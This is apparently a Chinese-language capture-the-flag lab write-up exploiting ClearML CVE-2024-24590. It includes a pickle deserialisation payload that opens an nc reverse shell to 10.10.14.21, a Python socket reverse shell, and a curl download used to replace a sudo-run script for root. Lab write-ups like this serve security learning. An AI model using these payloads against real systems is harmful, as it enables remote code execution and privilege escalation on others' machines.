端口扫描
80
按照教程注册安装clear ml
加载configuration
的时候会报错
将json里的API,File Store的host都添加到/etc/hosts中
即可成功初始化
查找clear ml漏洞
发现一个cve-2024-24590
查看All Experiments
有一个Review JSON Artifacts
脚本
观察可知这个脚本会定时循环运行
以下是脚本代码,关键地方都做了注释
总而言之就是该脚本会检查所有标记为"review"的项目名为"Black Swan"的任务
如果artifact是dict类型,就会将其反序列化
# !/usr/bin/python3
from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient
#打印出传入的字典data中的所有键值对
def process_json_artifact(data, artifact_name):
"""
Process a JSON artifact represented as a Python dictionary.
Print all key-value pairs contained in the dictionary.
"""
print(f"[+] Artifact '{artifact_name}' Contents:")
for key, value in data.items():
print(f" - {key}: {value}")
#接收一个task
def process_task(task):
artifacts = task.artifacts
#遍历task的所有artifacts
#if 是dict,调用process_json_artifact
for artifact_name, artifact_object in artifacts.items():
data = artifact_object.get()
if isinstance(data, dict):
process_json_artifact(data, artifact_name)
else:
print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")
def main():
#初始化ClearML任务
review_task = Task.init(project_name="Black Swan",
task_name="Review JSON Artifacts",
task_type=Task.TaskTypes.data_processing)
# Retrieve tasks tagged for review
#检索所有标记为"review"的项目名为"Black Swan"的任务
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)
if not tasks:
print("[!] No tasks up for review.")
return
threads = []
# 如果有任务,脚本将为每个任务创建一个进程,调用process_task函数来处理任务中的工件
for task in tasks:
print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
p = Process(target=process_task, args=(task,))
p.start()
threads.append(p)
task.set_archived(True)
for thread in threads:
thread.join(60)
if thread.is_alive():
thread.terminate()
# Mark the ClearML task as completed
review_task.close()
def cleanup():
client = APIClient()
tasks = client.tasks.get_all(
system_tags=["archived"],
only_fields=["id"],
order_by=["-last_update"],
page_size=100,
page=0,
)
# delete and cleanup tasks
for task in tasks:
# noinspection PyBroadException
try:
deleted_task = Task.get_task(task_id=task.id)
deleted_task.delete(
delete_artifacts_and_models=True,
skip_models_used_by_other_tasks=True,
raise_on_error=False
)
except Exception as ex:
continue
if __name__ == "__main__":
main()
cleanup()
以下是反弹shell的payload
from clearml import Task
import pickle, os
class Common:
def __reduce__(self):
command = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f'
return (os.system, (command,))
instance = Common()
#common = pickle.dumps(instance)
mydict = {'com_artifact': instance}
task = Task.init(project_name='Black Swan', task_name='cctask', tags=["review"])
task.upload_artifact(name='cc', artifact_object=mydict, retries=2, wait_on_upload=True, extension_name=".pkl")
成功反弹
sudo -l
发现有sudo权限
以下是evaluate_model脚本
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
/usr/bin/mkdir -p "$TEMP_DIR"
file_type=$(/usr/bin/file --brief "$MODEL_FILE")
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
#!/bin/bash
:这是一个shebang行,告诉系统这个脚本应该使用Bash解释器来执行。 2-4. 注释:解释脚本的功能和安全检查。 5-7. 参数检查:脚本检查是否传入了一个参数(模型文件的路径)。如果没有传入参数,打印用法信息并退出。MODEL_FILE="$1"
:将脚本的第一个参数(模型文件的路径)赋值给变量MODEL_FILE
。TEMP_DIR="/models/temp"
:设置一个临时目录的路径,用于存放解压的模型文件。PYTHON_SCRIPT="/models/evaluate_model.py"
:设置用于评估模型的Python脚本的路径。/usr/bin/mkdir -p "$TEMP_DIR"
:创建临时目录,如果目录已存在则不做任何操作。file_type=$(/usr/bin/file --brief "$MODEL_FILE")
:使用file
命令检查模型文件的类型,并将其存储在变量file_type
中。 16-21.
文件类型检查:根据file_type
的值,判断模型文件是POSIX tar归档还是Zip归档,并使用相应的命令解压到临时目录。
24-35.
安全检查:使用find
命令查找临时目录中所有的.pkl
文件,然后对每个文件使用fickling
工具进行安全检查。如果fickling
的输出表明文件包含"OVERTLY_MALICIOUS"(极度恶意)的组件,则打印警告信息,删除模型文件,并中断循环。
37-38. 清理临时文件:删除临时目录中的所有文件。- 删除临时目录:如果临时目录为空,则删除该目录。 42-45. 如果模型文件通过了安全检查,打印安全确认信息,并使用指定的Python脚本进行模型评估。
上述evaluate_model可利用的地方大概只有最后使用evaluate_model.py对传入的.pth执行那一段
就是这个(其实我也不确定…)
传入的pth可控制,猜测可以修改pth的内容实现提权
但是我没做,因为不太懂这个…
后面回去查看models目录的权限,发现jippity对该目录有修改权限
虽然jippity用户对原本的evaluate_model.py没有修改权限,但是因为有目录权限,可以通过删除原本的evaluate_model.py,再传入新的evaluate_model.py对其进行覆盖
搞一个python的反弹shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.21",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/sh")
rm evaluate_model.py
curl http://10.10.14.21:8899/evaluate_model.py -o evaluate_model.py
sudo /usr/bin/evaluate_model /models/*.pth